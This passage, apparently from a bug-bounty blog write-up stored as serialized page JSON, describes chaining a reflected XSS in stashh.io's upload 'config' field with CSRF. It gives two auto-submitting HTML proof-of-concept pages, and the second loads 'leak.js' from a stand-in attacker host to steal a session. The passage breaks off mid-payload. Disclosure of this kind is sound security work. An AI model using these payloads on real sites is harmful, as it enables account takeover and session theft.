marketplaces.",{"type":23,"tag":24,"props":32335,"children":32336},{},[32337,32339,32344],{"type":28,"value":32338},"Our attention was drawn to ",{"type":23,"tag":458,"props":32340,"children":32342},{"href":31274,"rel":32341},[462],[32343],{"type":28,"value":31278},{"type":28,"value":32345},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":23,"tag":24,"props":32347,"children":32348},{},[32349],{"type":23,"tag":3918,"props":32350,"children":32352},{"alt":7,"src":32351},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":23,"tag":24,"props":32354,"children":32355},{},[32356],{"type":28,"value":32357},"and here there is the code:",{"type":23,"tag":31,"props":32359,"children":32361},{"className":31357,"code":32360,"language":31359,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[32362],{"type":23,"tag":37,"props":32363,"children":32364},{"__ignoreMap":7},[32365,32382,32399,32433,32518,32575,32773,32814,32830,32846,32853,32868,32875,32887,32946,32953,33016,33045,33083,33090,33128,33141,33148,33163],{"type":23,"tag":41,"props":32366,"children":32367},{"class":43,"line":44},[32368,32373,32378],{"type":23,"tag":41,"props":32369,"children":32371},{"style":32370},"--shiki-default:#808080",[32372],{"type":28,"value":1012},{"type":23,"tag":41,"props":32374,"children":32375},{"style":64},[32376],{"type":28,"value":32377},"html",{"type":23,"tag":41,"props":32379,"children":32380},{"style":32370},[32381],{"type":28,"value":773},{"type":23,"tag":41,"props":32383,"children":32384},{"class":43,"line":54},[32385,32390,32395],{"type":23,"tag":41,"props":32386,"children":32387},{"style":32370},[32388],{"type":28,"value":32389},"  \u003C",{"type":23,"tag":41,"props":32391,"children":32392},{"style":64},[32393],{"type":28,"value":32394},"body",{"type":23,"tag":41,"props":32396,"children":32397},{"style":32370},[32398],{"type":28,"value":773},{"type":23,"tag":41,"props":32400,"children":32401},{"class":43,"line":76},[32402,32406,32411,32415,32420,32425,32429],{"type":23,"tag":41,"props":32403,"children":32404},{"style":32370},[32405],{"type":28,"value":32389},{"type":23,"tag":41,"props":32407,"children":32408},{"style":64},[32409],{"type":28,"value":32410},"script",{"type":23,"tag":41,"props":32412,"children":32413},{"style":32370},[32414],{"type":28,"value":1022},{"type":23,"tag":41,"props":32416,"children":32417},{"style":70},[32418],{"type":28,"value":32419},"history.pushState('', '', '/')",{"type":23,"tag":41,"props":32421,"children":32422},{"style":32370},[32423],{"type":28,"value":32424},"\u003C/",{"type":23,"tag":41,"props":32426,"children":32427},{"style":64},[32428],{"type":28,"value":32410},{"type":23,"tag":41,"props":32430,"children":32431},{"style":32370},[32432],{"type":28,"value":773},{"type":23,"tag":41,"props":32434,"children":32435},{"class":43,"line":85},[32436,32441,32446,32451,32455,32460,32465,32469,32474,32478,32482,32487,32492,32496,32501,32505,32509,32514],{"type":23,"tag":41,"props":32437,"children":32438},{"style":32370},[32439],{"type":28,"value":32440},"    \u003C",{"type":23,"tag":41,"props":32442,"children":32443},{"style":64},[32444],{"type":28,"value":32445},"form",{"type":23,"tag":41,"props":32447,"children":32448},{"style":858},[32449],{"type":28,"value":32450}," id",{"type":23,"tag":41,"props":32452,"children":32453},{"style":170},[32454],{"type":28,"value":2381},{"type":23,"tag":41,"props":32456,"children":32457},{"style":735},[32458],{"type":28,"value":32459},"\"form123\"",{"type":23,"tag":41,"props":32461,"children":32462},{"style":858},[32463],{"type":28,"value":32464}," action",{"type":23,"tag":41,"props":32466,"children":32467},{"style":170},[32468],{"type":28,"value":2381},{"type":23,"tag":41,"props":32470,"children":32471},{"style":735},[32472],{"type":28,"value":32473},"\"https://stashh.io/upload_asset\"",{"type":23,"tag":41,"props":32475,"children":32476},{"style":858},[32477],{"type":28,"value":17096},{"type":23,"tag":41,"props":32479,"children":32480},{"style":170},[32481],{"type":28,"value":2381},{"type":23,"tag":41,"props":32483,"children":32484},{"style":735},[32485],{"type":28,"value":32486},"\"POST\"",{"type":23,"tag":41,"props":32488,"children":32489},{"style":858},[32490],{"type":28,"value":32491}," enctype",{"type":23,"tag":41,"props":32493,"children":32494},{"style":170},[32495],{"type":28,"value":2381},{"type":23,"tag":41,"props":32497,"children":32498},{"style":735},[32499],{"type":28,"value":32500},"\"multipart/form-data\"",{"type":23,"tag":41,"props":32502,"children":32503},{"style":858},[32504],{"type":28,"value":2595},{"type":23,"tag":41,"props":32506,"children":32507},{"style":170},[32508],{"type":28,"value":2381},{"type":23,"tag":41,"props":32510,"children":32511},{"style":735},[32512],{"type":28,"value":32513},"\"asd\"",{"type":23,"tag":41,"props":32515,"children":32516},{"style":32370},[32517],{"type":28,"value":773},{"type":23,"tag":41,"props":32519,"children":32520},{"class":43,"line":105},[32521,32526,32530,32535,32539,32544,32549,32553,32558,32562,32566,32571],{"type":23,"tag":41,"props":32522,"children":32523},{"style":32370},[32524],{"type":28,"value":32525},"     \u003C",{"type":23,"tag":41,"props":32527,"children":32528},{"style":64},[32529],{"type":28,"value":8366},{"type":23,"tag":41,"props":32531,"children":32532},{"style":858},[32533],{"type":28,"value":32534}," type",{"type":23,"tag":41,"props":32536,"children":32537},{"style":170},[32538],{"type":28,"value":2381},{"type":23,"tag":41,"props":32540,"children":32541},{"style":735},[32542],{"type":28,"value":32543},"\"file\"",{"type":23,"tag":41,"props":32545,"children":32546},{"style":858},[32547],{"type":28,"value":32548}," name",{"type":23,"tag":41,"props":32550,"children":32551},{"style":170},[32552],{"type":28,"value":2381},{"type":23,"tag":41,"props":32554,"children":32555},{"style":735},[32556],{"type":28,"value":32557},"\"data\"",{"type":23,"tag":41,"props":32559,"children":32560},{"style":858},[32561],{"type":28,"value":32450},{"type":23,"tag":41,"props":32563,"children":32564},{"style":170},[32565],{"type":28,"value":2381},{"type":23,"tag":41,"props":32567,"children":32568},{"style":735},[32569],{"type":28,"value":32570},"\"file123\"",{"type":23,"tag":41,"props":32572,"children":32573},{"style":32370},[32574],{"type":28,"value":773},{"type":23,"tag":41,"props":32576,"children":32577},{"class":43,"line":155},[32578,32583,32587,32591,32595,32600,32604,32608,32613,32617,32621,32625,32630,32635,32640,32645,32650,32654,32659,32664,32669,32673,32678,32683,32687,32692,32697,32702,32707,32712,32717,32722,32726,32731,32736,32741,32746,32750,32754,32759,32764,32768],{"type":23,"tag":41,"props":32579,"children":32580},{"style":32370},[32581],{"type":28,"value":32582},"      \u003C",{"type":23,"tag":41,"props":32584,"children":32585},{"style":64},[32586],{"type":28,"value":8366},{"type":23,"tag":41,"props":32588,"children":32589},{"style":858},[32590],{"type":28,"value":32534},{"type":23,"tag":41,"props":32592,"children":32593},{"style":170},[32594],{"type":28,"value":2381},{"type":23,"tag":41,"props":32596,"children":32597},{"style":735},[32598],{"type":28,"value":32599},"\"hidden\"",{"type":23,"tag":41,"props":32601,"children":32602},{"style":858},[32603],{"type":28,"value":32548},{"type":23,"tag":41,"props":32605,"children":32606},{"style":170},[32607],{"type":28,"value":2381},{"type":23,"tag":41,"props":32609,"children":32610},{"style":735},[32611],{"type":28,"value":32612},"\"config\"",{"type":23,"tag":41,"props":32614,"children":32615},{"style":858},[32616],{"type":28,"value":2595},{"type":23,"tag":41,"props":32618,"children":32619},{"style":170},[32620],{"type":28,"value":2381},{"type":23,"tag":41,"props":32622,"children":32623},{"style":735},[32624],{"type":28,"value":20048},{"type":23,"tag":41,"props":32626,"children":32627},{"style":64},[32628],{"type":28,"value":32629},"{"",{"type":23,"tag":41,"props":32631,"children":32632},{"style":735},[32633],{"type":28,"value":32634},"address",{"type":23,"tag":41,"props":32636,"children":32637},{"style":64},[32638],{"type":28,"value":32639},"":"",{"type":23,"tag":41,"props":32641,"children":32642},{"style":735},[32643],{"type":28,"value":32644},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":23,"tag":41,"props":32646,"children":32647},{"style":64},[32648],{"type":28,"value":32649},"<",{"type":23,"tag":41,"props":32651,"children":32652},{"style":735},[32653],{"type":28,"value":3918},{"type":23,"tag":41,"props":32655,"children":32656},{"style":64},[32657],{"type":28,"value":32658},"/",{"type":23,"tag":41,"props":32660,"children":32661},{"style":735},[32662],{"type":28,"value":32663},"src",{"type":23,"tag":41,"props":32665,"children":32666},{"style":64},[32667],{"type":28,"value":32668},"=",{"type":23,"tag":41,"props":32670,"children":32671},{"style":735},[32672],{"type":28,"value":19263},{"type":23,"tag":41,"props":32674,"children":32675},{"style":64},[32676],{"type":28,"value":32677}," ",{"type":23,"tag":41,"props":32679,"children":32680},{"style":735},[32681],{"type":28,"value":32682},"onerror",{"type":23,"tag":41,"props":32684,"children":32685},{"style":64},[32686],{"type":28,"value":32668},{"type":23,"tag":41,"props":32688,"children":32689},{"style":735},[32690],{"type":28,"value":32691},"alert",{"type":23,"tag":41,"props":32693,"children":32694},{"style":64},[32695],{"type":28,"value":32696},"(",{"type":23,"tag":41,"props":32698,"children":32699},{"style":735},[32700],{"type":28,"value":32701},"document",{"type":23,"tag":41,"props":32703,"children":32704},{"style":64},[32705],{"type":28,"value":32706},".",{"type":23,"tag":41,"props":32708,"children":32709},{"style":735},[32710],{"type":28,"value":32711},"domain",{"type":23,"tag":41,"props":32713,"children":32714},{"style":64},[32715],{"type":28,"value":32716},")>","",{"type":23,"tag":41,"props":32718,"children":32719},{"style":735},[32720],{"type":28,"value":32721},"to",{"type":23,"tag":41,"props":32723,"children":32724},{"style":64},[32725],{"type":28,"value":32639},{"type":23,"tag":41,"props":32727,"children":32728},{"style":735},[32729],{"type":28,"value":32730},"profile",{"type":23,"tag":41,"props":32732,"children":32733},{"style":64},[32734],{"type":28,"value":32735},"-",{"type":23,"tag":41,"props":32737,"children":32738},{"style":735},[32739],{"type":28,"value":32740},"assets",{"type":23,"tag":41,"props":32742,"children":32743},{"style":64},[32744],{"type":28,"value":32745},"","",{"type":23,"tag":41,"props":32747,"children":32748},{"style":735},[32749],{"type":28,"value":1669},{"type":23,"tag":41,"props":32751,"children":32752},{"style":64},[32753],{"type":28,"value":32639},{"type":23,"tag":41,"props":32755,"children":32756},{"style":735},[32757],{"type":28,"value":32758},"icon",{"type":23,"tag":41,"props":32760,"children":32761},{"style":64},[32762],{"type":28,"value":32763},""}",{"type":23,"tag":41,"props":32765,"children":32766},{"style":735},[32767],{"type":28,"value":20048},{"type":23,"tag":41,"props":32769,"children":32770},{"style":32370},[32771],{"type":28,"value":32772}," />\n",{"type":23,"tag":41,"props":32774,"children":32775},{"class":43,"line":186},[32776,32780,32784,32788,32792,32797,32801,32805,32810],{"type":23,"tag":41,"props":32777,"children":32778},{"style":32370},[32779],{"type":28,"value":32582},{"type":23,"tag":41,"props":32781,"children":32782},{"style":64},[32783],{"type":28,"value":8366},{"type":23,"tag":41,"props":32785,"children":32786},{"style":858},[32787],{"type":28,"value":32534},{"type":23,"tag":41,"props":32789,"children":32790},{"style":170},[32791],{"type":28,"value":2381},{"type":23,"tag":41,"props":32793,"children":32794},{"style":735},[32795],{"type":28,"value":32796},"\"submit\"",{"type":23,"tag":41,"props":32798,"children":32799},{"style":858},[32800],{"type":28,"value":2595},{"type":23,"tag":41,"props":32802,"children":32803},{"style":170},[32804],{"type":28,"value":2381},{"type":23,"tag":41,"props":32806,"children":32807},{"style":735},[32808],{"type":28,"value":32809},"\"Submit request\"",{"type":23,"tag":41,"props":32811,"children":32812},{"style":32370},[32813],{"type":28,"value":32772},{"type":23,"tag":41,"props":32815,"children":32816},{"class":43,"line":195},[32817,32822,32826],{"type":23,"tag":41,"props":32818,"children":32819},{"style":32370},[32820],{"type":28,"value":32821},"    \u003C/",{"type":23,"tag":41,"props":32823,"children":32824},{"style":64},[32825],{"type":28,"value":32445},{"type":23,"tag":41,"props":32827,"children":32828},{"style":32370},[32829],{"type":28,"value":773},{"type":23,"tag":41,"props":32831,"children":32832},{"class":43,"line":905},[32833,32838,32842],{"type":23,"tag":41,"props":32834,"children":32835},{"style":32370},[32836],{"type":28,"value":32837},"  \u003C/",{"type":23,"tag":41,"props":32839,"children":32840},{"style":64},[32841],{"type":28,"value":32394},{"type":23,"tag":41,"props":32843,"children":32844},{"style":32370},[32845],{"type":28,"value":773},{"type":23,"tag":41,"props":32847,"children":32848},{"class":43,"line":922},[32849],{"type":23,"tag":41,"props":32850,"children":32851},{"emptyLinePlaceholder":18},[32852],{"type":28,"value":82},{"type":23,"tag":41,"props":32854,"children":32855},{"class":43,"line":930},[32856,32860,32864],{"type":23,"tag":41,"props":32857,"children":32858},{"style":32370},[32859],{"type":28,"value":32389},{"type":23,"tag":41,"props":32861,"children":32862},{"style":64},[32863],{"type":28,"value":32410},{"type":23,"tag":41,"props":32865,"children":32866},{"style":32370},[32867],{"type":28,"value":773},{"type":23,"tag":41,"props":32869,"children":32870},{"class":43,"line":939},[32871],{"type":23,"tag":41,"props":32872,"children":32873},{"emptyLinePlaceholder":18},[32874],{"type":28,"value":82},{"type":23,"tag":41,"props":32876,"children":32877},{"class":43,"line":947},[32878,32883],{"type":23,"tag":41,"props":32879,"children":32880},{"style":70},[32881],{"type":28,"value":32882},"    (async ()=>",{"type":23,"tag":41,"props":32884,"children":32885},{"style":64},[32886],{"type":28,"value":1559},{"type":23,"tag":41,"props":32888,"children":32889},{"class":43,"line":985},[32890,32895,32900,32905,32910,32914,32918,32923,32927,32932,32937,32942],{"type":23,"tag":41,"props":32891,"children":32892},{"style":858},[32893],{"type":28,"value":32894},"        const",{"type":23,"tag":41,"props":32896,"children":32897},{"style":858},[32898],{"type":28,"value":32899}," blob",{"type":23,"tag":41,"props":32901,"children":32902},{"style":170},[32903],{"type":28,"value":32904}," = ",{"type":23,"tag":41,"props":32906,"children":32907},{"style":58},[32908],{"type":28,"value":32909},"await",{"type":23,"tag":41,"props":32911,"children":32912},{"style":170},[32913],{"type":28,"value":142},{"type":23,"tag":41,"props":32915,"children":32916},{"style":58},[32917],{"type":28,"value":32909},{"type":23,"tag":41,"props":32919,"children":32920},{"style":114},[32921],{"type":28,"value":32922}," fetch",{"type":23,"tag":41,"props":32924,"children":32925},{"style":170},[32926],{"type":28,"value":1737},{"type":23,"tag":41,"props":32928,"children":32929},{"style":735},[32930],{"type":28,"value":32931},"\"/sapo.png\"",{"type":23,"tag":41,"props":32933,"children":32934},{"style":170},[32935],{"type":28,"value":32936},")).",{"type":23,"tag":41,"props":32938,"children":32939},{"style":114},[32940],{"type":28,"value":32941},"blob",{"type":23,"tag":41,"props":32943,"children":32944},{"style":170},[32945],{"type":28,"value":7735},{"type":23,"tag":41,"props":32947,"children":32948},{"class":43,"line":1058},[32949],{"type":23,"tag":41,"props":32950,"children":32951},{"emptyLinePlaceholder":18},[32952],{"type":28,"value":82},{"type":23,"tag":41,"props":32954,"children":32955},{"class":43,"line":1084},[32956,32960,32965,32969,32973,32978,32983,32987,32991,32996,33001,33006,33011],{"type":23,"tag":41,"props":32957,"children":32958},{"style":858},[32959],{"type":28,"value":3066},{"type":23,"tag":41,"props":32961,"children":32962},{"style":858},[32963],{"type":28,"value":32964}," f",{"type":23,"tag":41,"props":32966,"children":32967},{"style":170},[32968],{"type":28,"value":32904},{"type":23,"tag":41,"props":32970,"children":32971},{"style":64},[32972],{"type":28,"value":15114},{"type":23,"tag":41,"props":32974,"children":32975},{"style":114},[32976],{"type":28,"value":32977}," File",{"type":23,"tag":41,"props":32979,"children":32980},{"style":170},[32981],{"type":28,"value":32982},"([",{"type":23,"tag":41,"props":32984,"children":32985},{"style":858},[32986],{"type":28,"value":32941},{"type":23,"tag":41,"props":32988,"children":32989},{"style":170},[32990],{"type":28,"value":23047},{"type":23,"tag":41,"props":32992,"children":32993},{"style":735},[32994],{"type":28,"value":32995},"'sapo.png'",{"type":23,"tag":41,"props":32997,"children":32998},{"style":170},[32999],{"type":28,"value":33000},", {",{"type":23,"tag":41,"props":33002,"children":33003},{"style":858},[33004],{"type":28,"value":33005},"type:",{"type":23,"tag":41,"props":33007,"children":33008},{"style":735},[33009],{"type":28,"value":33010}," 'image/png'",{"type":23,"tag":41,"props":33012,"children":33013},{"style":170},[33014],{"type":28,"value":33015},"})\n",{"type":23,"tag":41,"props":33017,"children":33018},{"class":43,"line":1102},[33019,33023,33028,33032,33036,33041],{"type":23,"tag":41,"props":33020,"children":33021},{"style":858},[33022],{"type":28,"value":32894},{"type":23,"tag":41,"props":33024,"children":33025},{"style":858},[33026],{"type":28,"value":33027}," dataTransfer",{"type":23,"tag":41,"props":33029,"children":33030},{"style":170},[33031],{"type":28,"value":32904},{"type":23,"tag":41,"props":33033,"children":33034},{"style":64},[33035],{"type":28,"value":15114},{"type":23,"tag":41,"props":33037,"children":33038},{"style":114},[33039],{"type":28,"value":33040}," DataTransfer",{"type":23,"tag":41,"props":33042,"children":33043},{"style":170},[33044],{"type":28,"value":3669},{"type":23,"tag":41,"props":33046,"children":33047},{"class":43,"line":1110},[33048,33053,33057,33062,33066,33070,33074,33079],{"type":23,"tag":41,"props":33049,"children":33050},{"style":858},[33051],{"type":28,"value":33052},"        dataTransfer",{"type":23,"tag":41,"props":33054,"children":33055},{"style":170},[33056],{"type":28,"value":706},{"type":23,"tag":41,"props":33058,"children":33059},{"style":858},[33060],{"type":28,"value":33061},"items",{"type":23,"tag":41,"props":33063,"children":33064},{"style":170},[33065],{"type":28,"value":706},{"type":23,"tag":41,"props":33067,"children":33068},{"style":114},[33069],{"type":28,"value":9636},{"type":23,"tag":41,"props":33071,"children":33072},{"style":170},[33073],{"type":28,"value":1737},{"type":23,"tag":41,"props":33075,"children":33076},{"style":858},[33077],{"type":28,"value":33078},"f",{"type":23,"tag":41,"props":33080,"children":33081},{"style":170},[33082],{"type":28,"value":3825},{"type":23,"tag":41,"props":33084,"children":33085},{"class":43,"line":1118},[33086],{"type":23,"tag":41,"props":33087,"children":33088},{"emptyLinePlaceholder":18},[33089],{"type":28,"value":82},{"type":23,"tag":41,"props":33091,"children":33092},{"class":43,"line":1137},[33093,33098,33102,33107,33111,33116,33120,33124],{"type":23,"tag":41,"props":33094,"children":33095},{"style":858},[33096],{"type":28,"value":33097},"        file123",{"type":23,"tag":41,"props":33099,"children":33100},{"style":170},[33101],{"type":28,"value":706},{"type":23,"tag":41,"props":33103,"children":33104},{"style":858},[33105],{"type":28,"value":33106},"files",{"type":23,"tag":41,"props":33108,"children":33109},{"style":170},[33110],{"type":28,"value":32904},{"type":23,"tag":41,"props":33112,"children":33113},{"style":858},[33114],{"type":28,"value":33115},"dataTransfer",{"type":23,"tag":41,"props":33117,"children":33118},{"style":170},[33119],{"type":28,"value":706},{"type":23,"tag":41,"props":33121,"children":33122},{"style":858},[33123],{"type":28,"value":33106},{"type":23,"tag":41,"props":33125,"children":33126},{"style":170},[33127],{"type":28,"value":183},{"type":23,"tag":41,"props":33129,"children":33130},{"class":43,"line":1163},[33131,33136],{"type":23,"tag":41,"props":33132,"children":33133},{"style":64},[33134],{"type":28,"value":33135},"    }",{"type":23,"tag":41,"props":33137,"children":33138},{"style":70},[33139],{"type":28,"value":33140},")()\n",{"type":23,"tag":41,"props":33142,"children":33143},{"class":43,"line":1188},[33144],{"type":23,"tag":41,"props":33145,"children":33146},{"emptyLinePlaceholder":18},[33147],{"type":28,"value":82},{"type":23,"tag":41,"props":33149,"children":33150},{"class":43,"line":1979},[33151,33155,33159],{"type":23,"tag":41,"props":33152,"children":33153},{"style":32370},[33154],{"type":28,"value":32837},{"type":23,"tag":41,"props":33156,"children":33157},{"style":64},[33158],{"type":28,"value":32410},{"type":23,"tag":41,"props":33160,"children":33161},{"style":32370},[33162],{"type":28,"value":773},{"type":23,"tag":41,"props":33164,"children":33165},{"class":43,"line":2002},[33166,33170,33174],{"type":23,"tag":41,"props":33167,"children":33168},{"style":32370},[33169],{"type":28,"value":32424},{"type":23,"tag":41,"props":33171,"children":33172},{"style":64},[33173],{"type":28,"value":32377},{"type":23,"tag":41,"props":33175,"children":33176},{"style":32370},[33177],{"type":28,"value":773},{"type":23,"tag":24,"props":33179,"children":33180},{},[33181],{"type":28,"value":33182},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":24,"props":33184,"children":33185},{},[33186],{"type":28,"value":33187},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":24,"props":33189,"children":33190},{},[33191],{"type":28,"value":33192},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":24,"props":33194,"children":33195},{},[33196],{"type":28,"value":33197},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":31,"props":33199,"children":33201},{"className":31357,"code":33200,"language":31359,"meta":7,"style":7},"\u003Chtml>\n  \u003Cbody>\n  \u003Cscript>history.pushState('', '', '/')\u003C/script>\n    \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n     \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n      \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n      \u003Cinput type=\"submit\" value=\"Submit request\" />\n    \u003C/form>\n  \u003C/body>\n\n  \u003Cscript>\n\n    (async ()=>{\n        const blob = await (await fetch(\"/sapo.png\")).blob()\n\n        let f = new File([blob], 'sapo.png', {type: 'image/png'})\n        const dataTransfer = new DataTransfer();\n        dataTransfer.items.add(f);\n\n        file123.files = dataTransfer.files;\n\n        form123.submit()\n    })()\n\n  \u003C/script>\n\u003C/html>\n",[33202],{"type":23,"tag":37,"props":33203,"children":33204},{"__ignoreMap":7},[33205,33220,33235,33266,33341,33392,33580,33619,33634,33649,33656,33671,33678,33689,33740,33747,33802,33829,33864,33871,33906,33913,33934,33945,33952,33967],{"type":23,"tag":41,"props":33206,"children":33207},{"class":43,"line":44},[33208,33212,33216],{"type":23,"tag":41,"props":33209,"children":33210},{"style":32370},[33211],{"type":28,"value":1012},{"type":23,"tag":41,"props":33213,"children":33214},{"style":64},[33215],{"type":28,"value":32377},{"type":23,"tag":41,"props":33217,"children":33218},{"style":32370},[33219],{"type":28,"value":773},{"type":23,"tag":41,"props":33221,"children":33222},{"class":43,"line":54},[33223,33227,33231],{"type":23,"tag":41,"props":33224,"children":33225},{"style":32370},[33226],{"type":28,"value":32389},{"type":23,"tag":41,"props":33228,"children":33229},{"style":64},[33230],{"type":28,"value":32394},{"type":23,"tag":41,"props":33232,"children":33233},{"style":32370},[33234],{"type":28,"value":773},{"type":23,"tag":41,"props":33236,"children":33237},{"class":43,"line":76},[33238,33242,33246,33250,33254,33258,33262],{"type":23,"tag":41,"props":33239,"children":33240},{"style":32370},[33241],{"type":28,"value":32389},{"type":23,"tag":41,"props":33243,"children":33244},{"style":64},[33245],{"type":28,"value":32410},{"type":23,"tag":41,"props":33247,"children":33248},{"style":32370},[33249],{"type":28,"value":1022},{"type":23,"tag":41,"props":33251,"children":33252},{"style":70},[33253],{"type":28,"value":32419},{"type":23,"tag":41,"props":33255,"children":33256},{"style":32370},[33257],{"type":28,"value":32424},{"type":23,"tag":41,"props":33259,"children":33260},{"style":64},[33261],{"type":28,"value":32410},{"type":23,"tag":41,"props":33263,"children":33264},{"style":32370},[33265],{"type":28,"value":773},{"type":23,"tag":41,"props":33267,"children":33268},{"class":43,"line":85},[33269,33273,33277,33281,33285,33289,33293,33297,33301,33305,33309,33313,33317,33321,33325,33329,33333,33337],{"type":23,"tag":41,"props":33270,"children":33271},{"style":32370},[33272],{"type":28,"value":32440},{"type":23,"tag":41,"props":33274,"children":33275},{"style":64},[33276],{"type":28,"value":32445},{"type":23,"tag":41,"props":33278,"children":33279},{"style":858},[33280],{"type":28,"value":32450},{"type":23,"tag":41,"props":33282,"children":33283},{"style":170},[33284],{"type":28,"value":2381},{"type":23,"tag":41,"props":33286,"children":33287},{"style":735},[33288],{"type":28,"value":32459},{"type":23,"tag":41,"props":33290,"children":33291},{"style":858},[33292],{"type":28,"value":32464},{"type":23,"tag":41,"props":33294,"children":33295},{"style":170},[33296],{"type":28,"value":2381},{"type":23,"tag":41,"props":33298,"children":33299},{"style":735},[33300],{"type":28,"value":32473},{"type":23,"tag":41,"props":33302,"children":33303},{"style":858},[33304],{"type":28,"value":17096},{"type":23,"tag":41,"props":33306,"children":33307},{"style":170},[33308],{"type":28,"value":2381},{"type":23,"tag":41,"props":33310,"children":33311},{"style":735},[33312],{"type":28,"value":32486},{"type":23,"tag":41,"props":33314,"children":33315},{"style":858},[33316],{"type":28,"value":32491},{"type":23,"tag":41,"props":33318,"children":33319},{"style":170},[33320],{"type":28,"value":2381},{"type":23,"tag":41,"props":33322,"children":33323},{"style":735},[33324],{"type":28,"value":32500},{"type":23,"tag":41,"props":33326,"children":33327},{"style":858},[33328],{"type":28,"value":2595},{"type":23,"tag":41,"props":33330,"children":33331},{"style":170},[33332],{"type":28,"value":2381},{"type":23,"tag":41,"props":33334,"children":33335},{"style":735},[33336],{"type":28,"value":32513},{"type":23,"tag":41,"props":33338,"children":33339},{"style":32370},[33340],{"type":28,"value":773},{"type":23,"tag":41,"props":33342,"children":33343},{"class":43,"line":105},[33344,33348,33352,33356,33360,33364,33368,33372,33376,33380,33384,33388],{"type":23,"tag":41,"props":33345,"children":33346},{"style":32370},[33347],{"type":28,"value":32525},{"type":23,"tag":41,"props":33349,"children":33350},{"style":64},[33351],{"type":28,"value":8366},{"type":23,"tag":41,"props":33353,"children":33354},{"style":858},[33355],{"type":28,"value":32534},{"type":23,"tag":41,"props":33357,"children":33358},{"style":170},[33359],{"type":28,"value":2381},{"type":23,"tag":41,"props":33361,"children":33362},{"style":735},[33363],{"type":28,"value":32543},{"type":23,"tag":41,"props":33365,"children":33366},{"style":858},[33367],{"type":28,"value":32548},{"type":23,"tag":41,"props":33369,"children":33370},{"style":170},[33371],{"type":28,"value":2381},{"type":23,"tag":41,"props":33373,"children":33374},{"style":735},[33375],{"type":28,"value":32557},{"type":23,"tag":41,"props":33377,"children":33378},{"style":858},[33379],{"type":28,"value":32450},{"type":23,"tag":41,"props":33381,"children":33382},{"style":170},[33383],{"type":28,"value":2381},{"type":23,"tag":41,"props":33385,"children":33386},{"style":735},[33387],{"type":28,"value":32570},{"type":23,"tag":41,"props":33389,"children":33390},{"style":32370},[33391],{"type":28,"value":773},{"type":23,"tag":41,"props":33393,"children":33394},{"class":43,"line":155},[33395,33399,33403,33407,33411,33415,33419,33423,33427,33431,33435,33439,33444,33448,33453,33457,33462,33466,33471,33476,33480,33484,33489,33494,33499,33504,33509,33514,33518,33523,33527,33531,33536,33540,33545,33550,33555,33559,33563,33567,33572,33576],{"type":23,"tag":41,"props":33396,"children":33397},{"style":32370},[33398],{"type":28,"value":32582},{"type":23,"tag":41,"props":33400,"children":33401},{"style":64},[33402],{"type":28,"value":8366},{"type":23,"tag":41,"props":33404,"children":33405},{"style":858},[33406],{"type":28,"value":32534},{"type":23,"tag":41,"props":33408,"children":33409},{"style":170},[33410],{"type":28,"value":2381},{"type":23,"tag":41,"props":33412,"children":33413},{"style":735},[33414],{"type":28,"value":32599},{"type":23,"tag":41,"props":33416,"children":33417},{"style":858},[33418],{"type":28,"value":32548},{"type":23,"tag":41,"props":33420,"children":33421},{"style":170},[33422],{"type":28,"value":2381},{"type":23,"tag":41,"props":33424,"children":33425},{"style":735},[33426],{"type":28,"value":32612},{"type":23,"tag":41,"props":33428,"children":33429},{"style":858},[33430],{"type":28,"value":2595},{"type":23,"tag":41,"props":33432,"children":33433},{"style":170},[33434],{"type":28,"value":2381},{"type":23,"tag":41,"props":33436,"children":33437},{"style":735},[33438],{"type":28,"value":20048},{"type":23,"tag":41,"props":33440,"children":33441},{"style":64},[33442],{"type":28,"value":33443},"{"",{"type":23,"tag":41,"props":33445,"children":33446},{"style":735},[33447],{"type":28,"value":32634},{"type":23,"tag":41,"props":33449,"children":33450},{"style":64},[33451],{"type":28,"value":33452},"":"<",{"type":23,"tag":41,"props":33454,"children":33455},{"style":735},[33456],{"type":28,"value":3918},{"type":23,"tag":41,"props":33458,"children":33459},{"style":64},[33460],{"type":28,"value":33461},"/",{"type":23,"tag":41,"props":33463,"children":33464},{"style":735},[33465],{"type":28,"value":32663},{"type":23,"tag":41,"props":33467,"children":33468},{"style":64},[33469],{"type":28,"value":33470},"=",{"type":23,"tag":41,"props":33472,"children":33473},{"style":735},[33474],{"type":28,"value":33475},"x 